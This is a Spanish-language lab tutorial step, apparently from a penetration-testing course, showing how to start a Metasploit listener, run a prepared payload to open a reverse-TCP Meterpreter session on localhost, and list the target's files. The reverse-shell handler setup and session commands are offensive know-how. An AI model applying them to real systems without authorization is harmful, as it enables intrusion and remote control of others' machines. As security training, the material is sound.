Listar archivos y directorios con el comando ls
En este paso, primero estableceremos una sesión de Meterpreter y luego usaremos el comando ls para listar los archivos en el sistema objetivo. Nuestro script de configuración ya ha creado una carga útil (payload.elf) y un archivo de configuración de escucha (listener.rc).
Primero, iniciemos el listener de Metasploit. Esperará una conexión entrante de la carga útil. Usamos la bandera -r para cargar nuestro archivo de recursos, que automatiza la configuración.
Abra una terminal y ejecute el siguiente comando:
msfconsole -r listener.rc
Verá que la consola de Metasploit se inicia y el manejador se ejecutará como un trabajo en segundo plano. La salida se verá similar a esto:
[*] Msfconsole tip: Use the resource command to run a script of
console commands.
...
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
msf6 >
Ahora, necesitamos ejecutar la carga útil para conectarnos a nuestro listener. Abra una nueva terminal haciendo clic en el ícono "+" en la barra de pestañas de la terminal. En esta nueva terminal, ejecute el archivo de carga útil ubicado en su directorio ~/project.
./payload.elf
Este comando no producirá ninguna salida. Vuelva a su primera terminal (la que ejecuta msfconsole). Debería ver un mensaje que indica que se ha abierto una sesión.
[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400
msf6 > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Nota: Si no se le coloca automáticamente en la sesión, puede listar las sesiones activas con sessions e interactuar con una usando sessions -i <ID>, por ejemplo, sessions -i 1.
Ahora se encuentra en una sesión de Meterpreter, indicada por el prompt meterpreter >. Cualquier comando que escriba aquí se ejecutará en la máquina objetivo. Usemos el comando ls para listar los archivos en el directorio actual del objetivo.
ls
Esto listará los archivos y directorios en el directorio de trabajo actual del objetivo.
meterpreter > ls
Listing: /home/labex/project
============================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100755/rwxr-xr-x 10152 fil rwx/- payload.elf
100644/rw-r--r-- 100 fil rw-/- listener.rc